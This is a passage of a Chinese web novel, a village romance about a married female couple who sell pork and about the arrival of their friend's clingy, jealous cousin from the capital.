第二日,睡到天微微亮,宋渝归才睁开眼,抽出自己藏在被窝里的手,大拇指已泡到有些发白了,媳妇儿还沉沉睡着,她昨儿被折腾的不轻,是生着气睡着的,眼下还是不要喊她了,多休息会儿也好。 宋渝归鬼鬼祟祟,偷偷摸摸的一个人去镇上卖肉。 好些客人已经习惯了人家妻妻黏在一起卖肉,骤然只来了一个人还感觉奇怪,问了几句,“你夫人不来吗,我还想要她的竹篮呢。” “嗯,她今日在家休息。” “那她明日还来吗?” “明日来的,明日我就带她过来。” 昨晚是闹得太过了,即使垫上旧衣服,床单都被弄湿了,可见她有多欺负人,因此才舍不得叫人起床,怕她累着,今晚一定不这么干了。 那女子听闻沈惜枝明日会来,便道,“那我今日先不买了,明天买吧。” 有便宜谁能忍着不占,宋渝归也没说什么,温和的与人挥手道别。 没了惜枝在身边帮她,肉好似是卖的更慢一点了。 直到下午才卖完,她想了想,离开镇子前去买了些许蜜饯,媳妇儿今天一个人在家,指不定生气着呢,自然得好好哄哄,也不知男主那不要脸的有没有去纠缠我媳妇儿。 她担忧宋星川会纠缠惜枝,也担忧惜枝会被剧情影响,若不是昨夜实在太累了,她是不会把人单独留在家里的。 宋渝归心里有事,推着车快步往家走,走到小土坡下面一看,差点晕过去,死男主果然在我家门口! 女主也在他身边,惜枝也在院子里,他还偷瞟我老婆! 黑脸过去,车轮重重碾压石子,发出沉闷的声音,快到家时,她扔下推车,一下站到了宋星川面前,隔绝他的视线,笑也是皮笑肉不笑的,“堂弟来了啊,是来寻我的?” 宋星川见到宋渝归,不知为何竟有些怕了,后退半步,紧张的手指攥紧,低下头神情极不自然,磕磕绊绊道,“不,不是,我是来送厢月回家的。” 宋渝归扭头看了眼池厢月心如死灰的表情,暗叹一声,好家伙,又去给男主干活了。 “你都已经把我送到了就赶紧回去吧,明日不去你那了,累得要死,我说要帮你干活你还真好意思让我干啊,脸皮子比我还厚。” 池厢月见到宋渝归的一瞬间,忽而又找回了自我,满心的怨气都要溢出来了,看见宋星川就烦。 这几日被她给多了好脸,没见过她说话这么难听,宋星川微黑的脸有些尴尬发红,他想说是池厢月自己要干活的,但……他也确实有私心,没有多加劝阻,想着两个人能更快一些,不然他自己种不完的。 “抱,抱歉,那你明日别来了,等田里的事忙完了,我去山上打野味给你。” 乡下人就算家境殷实也富不到哪去,只能以此回报池厢月。 但池厢月又不是没打过野味,她也参加过皇家猎场,与皇子诸侯一同狩猎,甚至为爱干净又嘴馋的小表妹亲手烤过猎物,她稀罕吗? “不用,下次别来找我了,看见你我就觉得累。”想到自己辛勤劳作的日日夜夜,破防了。 她这话更是难听,明明前面还好好的,对他也多有亲近,现在好像突然就生气了一样。 宋星川抿了抿唇,人家厌烦他,他也不好意思再说什么,池厢月确实帮他干了很多活,他心里亦很是感谢。 “好,好吧,那我就先走了。” 低低的说了一声,视线却又不受控制,不由自主的往院里看了最后一眼,方才还好好同池厢月说话的女子此时看上去有些生气,鼓着脸颊,偏过头去,一言不发。 是不喜欢堂姐吗? 宋渝归不知宋星川在心里想这些,否则一定要气的把他揪回来骂一顿,没人喜欢的人是你,我老婆喜欢我爱我,我们天下第一好!!! 宋星川走后,池厢月还在背后骂骂咧咧,宋渝归却松了口气,女主没有真的爱上男主,惜枝也没搭理他。 打开栅栏,见妻子好好坐在椅子上,始终不向她走来也不唤她,一言不发,忽而发现了不对。 我老婆又生气了TVT。 她走上前去,声音颇为小心翼翼,主动告知,“惜枝,我回来了。” 沈惜枝淡淡望她一眼,又将视线挪开,压根不理她。 心里想着,我是聋了还是瞎了,听不见你的声音也看不见你的人? “我还给你买了蜜饯!” 她从怀里掏出一包蜜饯,递过去,没人接。 空气中涌动着名为寂静的情绪。 咳,不尴尬不尴尬,自家老婆尴尬什么。 她主动把蜜饯放在惜枝的腿上。 沈惜枝垂眸看了一眼,没什么反应。 宋渝归:…… 天杀的我媳妇儿为什么这么难哄! “是不是我今日留你一个人在镇上,你不高兴了?” 她温声问。 沈惜枝冷冷望她一眼,复又挪开视线,不搭理她。 池厢月见两人又吵架了,从外面跳进来,蹲在沈惜枝旁边仰头问,“你欺负惜枝了?” 宋渝归:…… 她不服,这怎么能叫欺负呢,床上的事不叫欺负的,池厢月单身狗一个根本不懂! “没有。” “那惜枝为什么不理你?” “不知道。” 她一脸无辜,惹得沈惜枝更生气,一手抓住那包蜜饯,猛的站起来,瞪了她一眼便往屋里去。 一见人真生气了,再不哄今晚怕是得打地铺,连忙将池厢月赶走,“你先回去吧,我急着哄媳妇儿没空招待你。” “又来了,好像世上就你有媳妇儿一般,哼,回去就回去,我一会儿过来吃晚饭,还有事要和你们说呢!” 经过昨日与今日,一见到宋渝归理智就回来的事,她也渐渐摸出些许门道来。 好像只要和渝归在一起,她就会清醒很多,不再一直想着帮宋星川干活。 宋渝归赶了人,连忙进去追媳妇儿。 沈惜枝正坐在榻上,脸色冷凝,瞧着就不好哄。 她凑上去亲了亲对方的唇瓣,笑了,再生气,只要别不让她碰,就还能哄好。 “好惜枝,是气我今日去镇上没带你吗?” 沈惜枝不言不语,便是默认了。 她今日睡醒,身侧的位置早都凉了,宋渝归王八蛋,说好每日带我去镇上的,又骗我! 地昨儿刚打扫过,今日看起来又扫了一遍,纤尘不染,宋渝归半跪在人身前,为自己辩解,“不是我不想带你,我这不是怕累着你吗,你昨晚……多有辛苦,睡的又晚,我舍不得吵醒你。” 沈惜枝知道她也是为自己想,是关切她,但就是会生气,闭眸独自生了一会儿气,再睁眼,已经把早上发现被一个人抛下时的孤寂感压下去了,只一句,“日后不许替我做决定,我没有说累,也没有说不想去镇上,你便不能将我一人扔下。” 可宋渝归一脸无辜,“你说累了呀,你昨晚一直喊累,不然我也不能如此轻易就放过你。” 沈惜枝:…… 你有病吧! 她气呼呼的,脸上的冷色瞬间消散,又瞪妻子,“床上不算!!!” 哪有人把床榻上说的话当真的啊! 宋渝归大笨蛋! 她用眼睛都快把宋渝归骂死了。 宋渝归心虚不敢看她,小声叨叨,“那我怕你累嘛,你不愿,不愿我下次不这样就好了嘛。” 她答应下来,才叫沈惜枝心里的气稍稍平息,却又是凶巴巴的瞪她,“你方才在外面都看见了吧?” 宋渝归茫然,“看见什么了?” 我啥也没看见啊。 “我一句话都没与你堂弟说,看都没有看他一眼!” 宋渝归:…… “你以后别再拿这件事疑心我了,我才不喜欢你堂弟,一点也不喜欢,看都不愿多看一眼!” 本来也不觉得宋星川如何,只当个寻常远亲,但妻子屡屡在意他,屡屡疑心她,她不可能恨上自己妻子,便牵连了宋星川。 都怪宋星川,是她引妻子疑心的,每日来我们面前逛什么逛,他不能消失的彻底一些吗! “哦,知道啦,先前都是我胡说八道的,你别生气,我以后再也不说这种话了。” 宋渝归一点一点凑过去,先是拉拉大反派小手,见她并不反抗,心神才定下来了,转而与她同坐床沿上,将人揽进怀里,“我问一问嘛,池姑娘说心里总有一个声音指引去找宋星川,我就好奇你有没有,不是真的疑心你。” 她今日解释的比昨日好多了,更叫人相信些,沈惜枝面色渐渐温柔下来,转身与宋渝归抱在一起,“原是这样,但我没有哦,我不喜欢你堂弟的,看见他就很烦很烦。” “嗯,我就知道你跟我是一条心的。” 宋渝归低头亲亲老婆脸,亲亲老婆嘴。 沈惜枝耳朵尖染上薄薄的晕红,异常漂亮。 “嗯,你是我妻子,我自然和你一条心。” 她说话也好听极了。 声音渐渐含在嘴巴里,透不出来,人被亲吻了个结结实实。 晚饭时,池厢月蔫头耷脑的过来了。 坐下也是失魂落魄的,直到眼前出现两道色泽鲜艳诱人的菜肴,她被香味馋的掉口水,下意识要按惯例抬头夸人,却不由一愣,疑惑,“惜枝,你嘴巴怎么好像肿了,被蚊虫叮咬了吗?我那里有驱蚊虫的药,要不要给你一点?” 沈惜枝:…… 她莫名瞥了池厢月一眼,不言不语出去了。 理都不理。 池厢月一头雾水。 宋渝归摇头,心想人没有对象还是不成,瞧瞧,这不就闹出笑话了? 偏对方又因一无所知,求知若渴的看向宋渝归。 …… “你……没事,你还小,你不懂不是你的问题。” “我不小了啊,我今年都十九了。” 要不是家里突然出事,她都该议亲了,哪里小了。 啊,女主十九吗? 她有些忘了,但年龄不重要,只是没想到十九岁了还能这般单纯。 “先吃饭吧,别问这些了。” 她不能说,否则惜枝定会羞的跑出去,不见她们了。 池厢月也没有刨根问底,她还有更重要的事在心里藏着,实在受不住了,吃饭时忽而提起,“我明日能和你们一起去镇上卖猪吗?” 宋渝归:? “为何忽然有这个想法。” 之前她就提过,但不是因为起不来放弃了吗。 池厢月苦恼,“我不想种地啊!” 种地多苦,她吃饱了撑得吗每天跑去给人种地,还不如去卖肉呢。 “可是我寅时就得起身了。” 宋渝归摊了摊手掌,寅时天都没亮呢,女主能起得来? 池厢月咬牙,“那我也要跟你一起去!” 困一点就困一点,总比跟人种地好吧? 她既坚持,宋渝归也并未回绝,一口答应下来。 起码也要试试,人力能不能与剧情相抗衡,剧情究竟能影响她们多深。 春日多滋润,总是隔几天便要下一场雨,第二日起身,宋渝归推着车出去,便发现土地湿润,昨晚下过雨了。 只是她们睡得早,没有听见淅淅沥沥的雨声罢了。 正想着,下意识就要将车推走,沈惜枝想起什么,抬手欲拉妻子,正好隔壁的门也开了,走出来一穿着利落白衣,却身形疲惫,眼底乌青的少女。 对方见了她们才稍微精神些许,“渝归,惜枝,我起来了!” 真是见了鬼了,刚起来就有一股十分想去宋星川家干活的感觉,但一看见渝归和惜枝,那种感觉就消散了,更想和她们一起玩。 她心里暗暗想,难不成是宋星川给我下蛊了? 解蛊的法子便在渝归身上? 太吓人了,乡下好可怕QAQ。 见女主还真起了,宋渝归诧异一瞬,便点点头,“那走吧,我先去杀猪,杀完猪再去镇上卖肉。” 杀猪一直是池厢月感兴趣的活动,她听闻,眼睛瞬间一亮,“我去看看我去看看,我看着你杀!” 三人一同去了养猪场,从里头挑出一只膘肥体壮的肥猪来,用绳子绑住四肢。 沈惜枝素来胆小,被留在屋外,池厢月说什么都要观摩,宋渝归才让她在院子里看着了。 半刻钟之后,两人出来,池厢月困意过去,精神处于亢奋之中不停拉着宋渝归问,“你看我能杀一头猪吗,你能不能让我杀一头试试?” …… “不行,你没杀过,我怕你杀坏了。” “不会的不会的,你让我试试吧,我感觉我已经学会了!” 看人家杀一遍猪就算学会了,那天底下该都是杀猪匠了。 “让你爹给你买一头猪杀一下。” “啊,我爹若知道我要做这等不文雅之事,肯定不会答应的。” 池厢月苦恼。 宋渝归本在偷摸妻子小手,闻言讶异回头,“你爹还没习惯你与文雅二字扯不上关系的事吗?” 池厢月沉默,看了她一眼,她便懂了,都是父母的期望罢了,想当初她爹也不能接受她不肯女承父业。 一直不接受。 三人行到镇上,这次也不用惜枝去买包子了,池厢月脚程快,人也活泼好动,主动揽了这个活儿,不消一会儿就拎着整整一屉大包子回来,有荤有素。 她仔细将几个素包取给沈惜枝,还颇为不理解,“肉的好吃啊,怎么你们都爱吃素的呢?” “你们?还有谁爱吃素的。” 她随口问了一句。 “我表妹啊,我表妹跟我出门总是吃素的多,荤的只肯吃一两口,娇气死了。” 宋渝归不是第一次听她说表妹了,随口便问,“你与你表妹关系很好?” “那是自然,我表妹最喜欢与我玩了,从小就是我的小跟屁虫,她母亲早逝,我心疼她,平时多护了她几次,她便在我身边赖下了,也不知我来了这里几个月,表妹有没有想我。” 提到此事池厢月就忧愁,以表妹容易招惹坏人的体质,可别真给人欺负了去。 舅舅官位也不低啊,怎么能让女儿这么被欺负呢? 旁人半点不忌惮他的吗? 宋渝归听出两人姐妹情深了,点点头,也没追问什么。 池厢月只好去和沈惜枝说话。 沈惜枝手里正编着竹篮呢,她又觉得新鲜,凑上去也要学。 缠人的很,让人不得不教她。 编老半天才出来一个,但是那些来的客人都不要她编的竹篮。 无论是买还是送,都只要沈惜枝编的。 池厢月:气抖冷。 就算后来渝归心疼惜枝手疼,不许她再编了,旁人过来看见池厢月编的竹篮,也只会选择不要! 把第一次亲自做手工的池大小姐气了个半死,“哼,明明就编的很好,真是不识货!” 她骂了一通,自己宝贝似的捧着亲手做的竹篮,心想,不要就不要,我自己留着用。 这肉卖到下午才卖完了,三人在镇上吃了午饭,池厢月大手一挥,请她们吃了一桌子好菜,边吃边点评,“不如惜枝做的,惜枝做的最好吃了,好惜枝,我们晚上吃什么?我去给你们买菜成吗?” 她眼巴巴的,午饭还在吃,已然惦记上晚饭了。 沈惜枝即使吃着她的饭也十分不为所动,半点不向着她,轻声道,“我听妻君的,妻君想吃什么我就做什么。” 宋渝归顿时坐直身子:支棱起来了。 池厢月:…… 哦,求错人了。 差点忘了沈惜枝一心只有她妻子。 她又看向宋渝归,满脸渴盼,人生苦短,除了吃,还哪有乐趣! 对方笑眯眯的,问,“你现在心里还想去宋星川家干活吗?” 池厢月连连摇头,“不啊,不想,我一日都未想起他了!真不明白先前怎会想去他家干活啊,疯了不成!” 她对自己的行为也很是不解,更加坚信宋星川许是给她下了什么蛊控制她! 听她说不想,宋渝归便很满意了,点点头,“你想吃什么就去买一点吧,但不要买太多,惜枝会累的。” “好好好!我和惜枝也是朋友,能不为着惜枝着想嘛。” 池厢月眯着眼眸,心情显然十分愉悦,吃完饭就去挑菜了,挑了许多回来,但都不是容易坏的,今日吃不完还能放着明日吃。 “怎买了好几块牛肉?” “都是不同部位的,好吃着呢,你们想做哪个部位都行。” “有吊龙啊,那回头煮火锅吃吧。” 池厢月又听见陌生的名字,扭头好奇问,“火锅是什么?” 沈惜枝也茫然看过来,宋渝归迟疑,手指比划了一下,“嗯……大概就是,锅子?你们应该知道的,煮个汤,然后往里面放各种菜。” “你是说暖锅?那确实吃过,也确实很久没吃了。” 本来天冷极适合吃暖锅的,但今年天最冷的时候她被赶来这穷苦的乡下了,没有人照顾帮忙,哪能想吃啥就吃啥啊。 “明日吃暖锅吧,今日吃鱼香肉丝,再炒个肉沫腐皮。” 沈惜枝一一记在心里,打算回去再问问该怎么做。 然而,三人行至小土坡下,却见自家门口停着一辆马车,瞧着是低调的深色,四方缀着的明珠却不俗。 旁边守着一利落女子,长发束成马尾,手中抱剑,警惕的看着四周,直到转身看见她们三人,才打开马车的帘子,向里面说了一句什么。 第67章 是小表妹啊 宋渝归将妻子拉到身后,总觉得那持剑女子来者不善。 沈惜枝被人护着,紧张的捏住妻子一点衣角,从她背后探出头去,浓稠艳色下满是担忧,“渝归姐姐,这是谁呀,怎停在我们家门口了?” “不知道,我上前去问一问,你在这等我。” “哎,那不行。” 眼见妻子就要一个人上去,沈惜枝连忙松了她的衣角,改为抱着她手臂,不悦道,“要去一起去,你不能让我等你,我才不等你呢。” 两人说话间,马车里已缓缓走下一烟紫长裙,容色倾城如水出芙蓉的女子。 池厢月从看见马车时便有所怀疑,此时已然瞪大眼睛,面上瞬间浮现些许喜色,与身侧沈惜枝道,“你俩不用争了,不是来找你们的,是来找我的。” “啊?” 宋渝归正疑惑着,只见那女子站在山野间,娇娇唤了一声,“表姐!” 便从上面提着裙摆,小跑着奔下来,池厢月连忙伸手去接,一边接一边操心道,“慢点慢点,别摔了。” 直到对方乳燕投怀般摔进她怀里,被她一把拥住。 耳边是美人儿吐气如兰的声音, “表姐,我来找你了,你想我吗。” 池厢月贪恋的抱住表妹柔软的腰身,带着她双脚离地转了两圈,毫不犹豫肯定道,“想,我当然想你,还想偷偷回去看你呢,你怎么自己过来了,跟舅舅说过没?” 女子陷在表姐怀里,轻轻摇头,“没有说过,父亲不让我来,我偷偷来的。” 初见表妹的喜悦褪去,听到她是偷跑来的,池厢月:? “你疯了不成?!这是什么世道,你知不知道一个女子出门在外有多危险,怎敢偷跑出来,还就,就带了一个人?” 就带了一个侍女! 池厢月不敢置信,连忙在表妹身上摸摸摸,没缺胳膊少腿儿吧? “流筝很厉害的。” 她这样说,也不能打消池厢月心里的后怕,瞪了她一眼,心在方才得知她是偷跑出来的后跳的极快,摸过一遍,确认她人好好的,才松了半口气,想起旁边两个目瞪口呆的好友来。 连忙转身向她们介绍,“对了,渝归,惜枝,这是我表妹,楚晚棠,你们唤她棠棠就好了。” 竟是女主表妹,小说里好像不曾提过,也是因蝴蝶效应出现的人吗? 宋渝归心想着,面上笑了笑,与人和气的打招呼,“楚姑娘好。” 至于棠棠什么的,一听就是亲近之人才能唤的,她都没好意思叫惜枝枝枝,哪会喊人家棠棠啊,不得被惜枝咬死。 身后妻子好奇的看了楚晚棠几眼,也跟着一块儿打了招呼。 楚晚棠笑着回应,心里却想着,方才表姐就是和她们一道儿回来的吗,还有说有笑的。 果然,我不在,表姐就要被旁人抢去了。 女子依在表姐身边,手指已经主动去找表姐的手牵着了,模样亲昵,任是谁都能看出她们关系极好。 沈惜枝看了一眼,心里莫名有些怪异。 觉得对方这幅作态十分眼熟。 “惜枝,晚上可以让棠棠和我们一起吃吗,棠棠没尝过你的手艺,今晚我爹也不会让人送吃的回来,她会饿到的,求你了。” 池厢月看起来十分渴望,楚晚棠听得眉心狠狠一皱,不敢相信,表姐在向除了我以外的人撒娇? 没有被牵住的掌心几乎被抠出血来,脸上的温柔笑意反而愈加深了。 对面女子看着也是美艳动人,没想到一个小小的村子里竟能养出这般媚气横生的美人儿,难怪表姐和她玩。 沈惜枝不语,看向宋渝归。 池厢月就知道,她又找错人了,于是跟着一起看向宋渝归,一双眼睛像湿漉小狗,看的楚晚棠心中不舒服极了。 一顿饭而已,宋渝归没那么小气,点点头应了。 “池姑娘和表妹好好叙旧吧,我和惜枝便先进去了。” 听她答应,池厢月勾了勾唇角,心情十分美丽,“好!那我等会儿过去帮你们洗菜。” 洗菜? 楚晚棠脸色更加不好看了。 她们怎能让表姐洗菜,表姐在家里从未做过这些活,姑父也不拦着吗? “你怎么突然想到来找我了?” 待两人都走了,池厢月转身拉着表妹问。 楚晚棠不再想别的,靠进表姐怀里,温声道,“我想你了啊,我都好久没见表姐了,可想你了。” 池厢月心软的摸摸表妹。 “我也想你,只是乡下艰苦,我本来想着回去后再找你的。” 怎能让一个娇生惯养的千金小姐来乡下受苦呢。 楚晚棠摇摇头,“那太久了,我等不了。” 她等不了那么久,她很想她。 “我也不想的。” 池厢月摸摸表妹柔软乌黑的头发,见她身形似有些消减,皱了皱眉,“我不在京城的时候有没有人欺负你?” 表妹抬起盈盈水眸,望了她一眼,复又低头,轻咬着唇瓣,看上去有些难过,“你知道的……我素来不招旁人喜欢。” “他们真欺负你了?他们又欺负你了?!” 池厢月狠狠拧眉,气的在表妹面前转圈圈,恨不得现在就回京城对那群王八犊子拳打脚踢,我表妹貌若天仙温柔文雅,你们凭什么讨厌她针对她?! 一个个的眼瞎了吧! 楚晚棠拉住愤怒中表姐的手臂,反而十分体贴的劝道,“没事的,我不在乎他们,表姐对我好就好了。” “说的什么笨蛋话,我就不放心你一个人待在京城,被人欺负死了也不知反抗,罢了,等我有空回去一趟,偷偷揍他们一顿!” 听她要为自己出头,表妹眼眸更是愉悦的眯了眯,却道,“如今正在风口上,你还是别去了,我过来与你在一起,不会再被人欺负的。” 池厢月叹气,“可是乡下没人伺候,住的又是这般,我怕你不习惯。” 楚晚棠确实挺不习惯的,在表姐没回来之前她一直坐在马车上没有下来,但眼下看见表姐,只觉得这里的一切都让人能够忍受了。 “没关系,我和表姐在一起就好了。” 她看起来还是和小时候一样黏人又乖巧。 池厢月捏捏表妹软嫩的脸蛋,感叹,“还是这么黏我。” “我就喜欢黏着表姐,你知道的。” “嗯。” “那你晚上和我一起睡吧,我家就两间屋子,然后饭在我朋友这里吃,可好?” 她说两人一起睡,楚晚棠眼眸倏地亮了,可她又提到她的朋友。 她在我不知道的地方,认识了新的朋友。 表妹眸色渐深,神情却愈发天真,小心翼翼问,“表姐的朋友,是方才两位姑娘吗?” “嗯,对,她们做饭可好吃了,多亏有她们在,不然乡下日子实在无趣。” 楚晚棠见表姐对那两位女子评价十分之高,眸里闪过一道暗色,靠进表姐怀里,轻声道,“这样啊……可是我感觉这两位姑娘好像不大喜欢我。” 池厢月:? “有吗?” 她诧异,“没有吧,我没看出来啊。” 楚晚棠低头轻声道,“那许就是我看错了吧,总之有表姐在,旁人再不喜我也欺负不了我的。” 说罢,她又抬起一双漂亮的眼睛,依赖的看着表姐。 池厢月摸摸表妹脑袋,“定是你看错了,渝归和惜枝都是很好的人。” “嗯。” 她面上应了,心里却愈发不虞,很好的人? 你怎能觉得旁人好呢,不过是出来几月而已,就交到了这么好的朋友吗? 早知道……我该和她一起出来的。 一开始就不应该放手,现在多了太多她不知道的事。 “走吧,先进去,我一会儿帮忙洗菜,你坐在旁边等我就好了。” 楚晚棠抿了抿唇,终于问出来了,“为何要洗菜?” “啊,那我总不能什么都不做光等着吃饭吧,那样不礼貌的,没事,我自己洗,肯定不让你动手。” 小表妹娇养的好,从小到大没干过粗活,不像池厢月自己囫囵长大的,家人宠着表妹,她自己也疼表妹,定不会让她动手。 然而小表妹却摇了摇头,模样乖巧,“我不能让表姐一个人洗,我帮你洗吧。” 她这样说,池厢月心里更加熨帖,哪舍得叫她动手,“不用,你坐着就好了,我很快就能洗完的。” 楚晚棠被表姐牵着走进院子里,挥舞小翅膀疾驰而来的鸡却吓了她一跳,“表姐!” 她见鸡往她裙底钻去,吓得连忙抱住池厢月一条胳膊,姿容慌张无措,“表姐,它,它咬我脚!” 池厢月:“哈?” 她见表妹怕的很,也来不及多说什么,忙将表妹打横抱起,避免小鸡在她裙底冲刺寻找光亮。 之后才无奈道,“鸡不咬人的,你别怕啊,可以试着摸摸它。” 小表妹抿着唇瓣,抱紧表姐的脖子,说什么都不肯松,“不行,它肯定会咬我的,它一直在我脚边,就是找机会咬我!” 表妹确信,并说什么也不肯下去,更别提摸摸小鸡了。 池厢月只得抱着她,“那我把你抱屋里去,你在屋子里坐着,它不进屋的。” 楚晚棠靠在表姐怀里,这才柔弱点头,“嗯,辛苦表姐了。” “这有什么辛苦的,你还没我前两天砍的柴重呢。” 小表妹:…… 沈惜枝在堂前目睹了一切,放调料时便凑近剁肉的妻子,小声与她咬耳朵,“渝归姐姐,你有没有觉得池姑娘和她表妹有点奇怪啊。” 宋渝归对外面的事一无所知,她有个爱吃醋的小媳妇儿,看男子一巴掌,看女子更是两巴掌,为了日子好过,她一眼不敢多看的。 因此神情清澈又茫然,“嗯?池姑娘和她表妹怎么了。” 沈惜枝见她如此,便知她没有多看,无论池姑娘的表妹生的多么天香国色,她一点都没看。 沈惜枝本不是不许她看的意思,但见她真的不在意旁人,不在意美色,只一心在意她,心中还是有欣喜不断的涌现出来。 黏黏糊糊缠上去,吻了妻子的唇角一下,楚晚棠在表姐的怀里抬头,恰好看见这一幕,瞳孔骤然收缩。 察觉到揽着自己的手臂紧了紧,池厢月疑惑,“怎么了?” “没,没事。” 小表妹俏脸泛上一层薄红,被人放在凳子上,才微微打量了一下四周。 这显然是女子房间,有一张梳妆台,上面摆着些许首饰,“你平日都在这里吃饭吗?” 她温声问。 “嗯,本地的厨子做饭太难吃了,没有惜枝做得好。” 楚晚棠突然有些生气恼怒,就知道表姐满脑子都是吃。 若是哪天有个做饭好吃的人想与她结成连理,她怕是也会欣然答应。 这种事光想一想都气人的慌。 池厢月哄着表妹在这坐一会儿,她去洗今晚要用的菜。 楚晚棠不自在极了,毕竟是在旁人家里,若是姑父家还好,偏偏这两人她也不认识。 沈惜枝怕对方不自在,进去替她倒了一杯水,但她本就不擅与外人言语,便连话都没有说。 听见对方站起身道谢,也只是点了点头。 宋渝归更是,见妻子已经去倒水了,便一心剁肉。 直到池厢月洗完菜进来,替她接了剁肉的活,楚晚棠才从屋子里站起身,缓缓往外走。 好奇的看着表姐,“你这是要做什么呀。” “哦,渝归说今晚吃肉沫腐皮,我在剁肉沫呢。” “这是何菜,我怎没有听过?” “渝归的菜,她很多菜我都没听过也没吃过,你定也不曾吃过,下次我再带你来蹭饭。” 池厢月自然道。 下次还要来啊…… 楚晚棠心中有些淡淡的醋意,在她没有陪在表姐身边的这些日子,表姐都和旁人在一起,日日在一起。 恐怕都要把她忘了吧,说什么想她,定是哄哄她的。 肉沫很快就剁好了,其他配菜也被两人一一准备好,沈惜枝便开始做菜,除了鱼香肉丝麻烦些,肉沫腐竹听着做法倒是很容易。 她很快就做成了。 池厢月自那道菜出锅后便一直盯着,必要时咽了把口水,瞧着馋的不行。 楚晚棠心想,怎这样没出息,就知道吃,莫非是嫌我厨艺不够? 小表妹委屈的咬了下唇,心想,当初明明是你心疼我被火气烫伤,不许我学做饭的,现在又喜欢旁人做的饭。 “都进去坐着吧,池姑娘,别让你表妹站着了。” 宋渝归见惜枝被盯的有些紧张,不由道。 池厢月这才反应过来,把表妹牵进去,再出来把那盘做好的菜也端进去。 堂前无人,沈惜枝才放松些许,微微靠在宋渝归怀里,又和她咬耳朵,“你有没有觉得池姑娘的表妹好黏人?” 宋渝归轻揉媳妇儿小腰,压低声音,怕叫人听见她们说人家闲话,“这就叫黏人了?还不及你十分之一呢。” 或许是有点黏人,但沈惜枝也不遑多让啊。 “那我喜欢你嘛,就要和你在一起。” “别管旁人了,我们顾好自己就是。” 她轻摸了摸沈惜枝的脑袋,又凑近亲了亲她耳朵,女主和表妹是什么样的关系根本不需要深思! 反派变磨镜可能是不慎被我掰弯了,女主可是妥妥的异性恋! 两人定是亲表姐妹,只是关系格外好而已。 小说里这种黏人妹妹不是超级多吗。 “哦。” 被妻君哄了一下,又被亲了,沈惜枝心中只顾着甜蜜,确实管不到别人了。 第二道菜也很快上桌,四人坐下,池厢月一句话没说,眼巴巴看着宋渝归这个主人家。 直到宋渝归动手给沈惜枝夹了一筷子菜,她才眼睛一亮,忙用还没吃过的筷子给楚晚棠夹菜,两道菜各弄了些许过去。 “棠棠快尝一下,惜枝做饭可好吃了!” 她再次强调。 却让人心中更加郁郁,张口闭口都是这名女子,她做的就这样好吃吗! 楚晚棠生气的吃了一口,又呆愣住,接着着更生气了,怎么这么好吃,比我的糕点还好吃,表姐不会因为她做饭好吃就喜欢她吧? 小表妹握紧筷子,用力的指节泛白,却在表姐望过来时露出温润乖巧的笑容。 第68章 是谁教坏了我表姐! 宋渝归吃的要快一些,吃完走出去,见竟还有一女子守在她家门口,仔细一看,这不是和女主家小表妹一起过来的女子吗? 她秉着主人家身份,过去客气问,“姑娘不进来吃饭吗?” 对方面无表情抱着剑,“不必,我需看守主人家的财物。” “哦……” 是个冷面侍卫啊。 她既然说不吃,宋渝归也没多管,在外面喂了鸡才进去。 刚一进去,沈惜枝便黏过来了。 方才渝归姐姐不在,她只觉得有些如芒在背。 池姑娘的表妹一直看着她,可能有些不喜欢她,她不知缘由,便坐立难安。 宋渝归刚一进来,就被媳妇儿扑了个满怀,顺手将人揽住,低头又亲了亲。 目睹一切的楚晚棠:!!! 瞳孔地震! 不是,为何能亲的如此光明正大?我都是挑没人的时候骗着表姐亲的,她们就不怕被人说闲话吗?! “对了,池姑娘,那你明日还要去镇上吗?” 她牵着妻子的手坐下,看向池厢月。 池厢月犹豫了一下,摇头,“明日还是不去了,我表妹起不了那么早,她难得过来,我自得陪陪她,尽一尽地主之谊。” 料想有表妹在,我总不会丢下她跑去种田吧? “行。” 宋渝归一面点头,一面心想,这表妹也是剧情里未曾出现的人,不知她能否干扰剧情的发展,明日再看看。 两人没聊多久,楚晚棠便捂着心口说身子不适,池厢月不敢久留,赶忙将人抱回自己家了,要她躺着休息一会儿。 沈惜枝见两人走了,吐出一口气,有些委屈的扭身投进妻子怀里,委屈巴巴,“妻君,我觉得楚姑娘不喜欢我。” 她无端遭人不喜,即使并不在意对方,也难免会感到不舒服。 宋渝归微微蹙眉,没有怀疑惜枝这句话的真实性。 她知道大反派素来细腻敏锐,轻易便信了她,“你既然感觉到了,想必便是真的,那我们日后离楚姑娘远一些就是了。” 她也感觉的出来,这位楚姑娘并不像面上表露的那般乖巧无害。 另一边,楚晚棠被表姐抱回她住的屋子,乡下屋子虽简陋,女子闺房却要干净整洁许多,里面还有好几样价值不菲的摆件。 小表妹一一打量过去,抬了抬下巴,觉得住在这里也并不让人太过难以忍受。 更何况在这还能与表姐一块儿住。 自她十四岁之后,就很少能和表姐同睡了。 “棠棠?如何了,可还有哪处不舒坦?要不然我还是给你请个大夫吧,肯定是路上舟车劳顿累着了,你也是胆子大,怎敢一个人过来的?” 楚晚棠听见表姐着急不悦的声音,捂着胸口的纤纤玉指放下,柔弱摇头,带着淡淡粉色的唇瓣微抿,“我好多了,表姐,你别骂我了,陪陪我吧,不要去找别人玩,留下来陪我好不好?” 她怕表姐一听她说没事,就急着要出去玩,从前这种事并不是没发生过,虽然表姐回来时给她带了芳华楼新出的头面,但并不能抵消她心中气闷。 她怕表姐听她说好多了,就要去寻隔壁那两个玩,所以率先示弱。 三人离得这般近,平日里定是时常说话吧? 醋意不自觉升上来,已经快要将自己活活酸死了。 哼,有我在,便不许表姐更喜欢旁人! 小姑娘一双眼睛水汪汪,可怜巴巴的,池厢月哪忍心走,况且乡下夜间也没什么好玩的,隔壁两个还得亲热呢,没人有功夫搭理她,自然留下了,哄着小表妹说这两日要带她出去好好玩一玩。 晚上池景明回来便发现家里多了一人,他可是吓了一跳,扭头就要把人送回去。 楚晚棠才不走呢,抱着表姐的胳膊沉默不说话。 池厢月见不得表妹如此,好像被她爹欺负了一般,又出面为她说话,不许他强行送表妹回去,池景明不得不同意让人留下,但立马就修书往京城去了,一切都得看远在京城的楚大人怎么说。 夜色朦胧,水雾弥漫,楚晚棠沐浴,换了一身簇新的柔软里衣,乖巧钻进被子里,待表姐也上榻,便作天真小女儿姿态往表姐怀里依,主动提起隔壁两位令她十分忌惮的姑娘,“表姐今日是跟她们一起去镇上了吗,去做什么了,很高兴吗?” “嗯,我和惜枝她们卖肉去了,渝归家是杀猪卖猪肉的,我跟着一起去看了一下,还算高兴。” 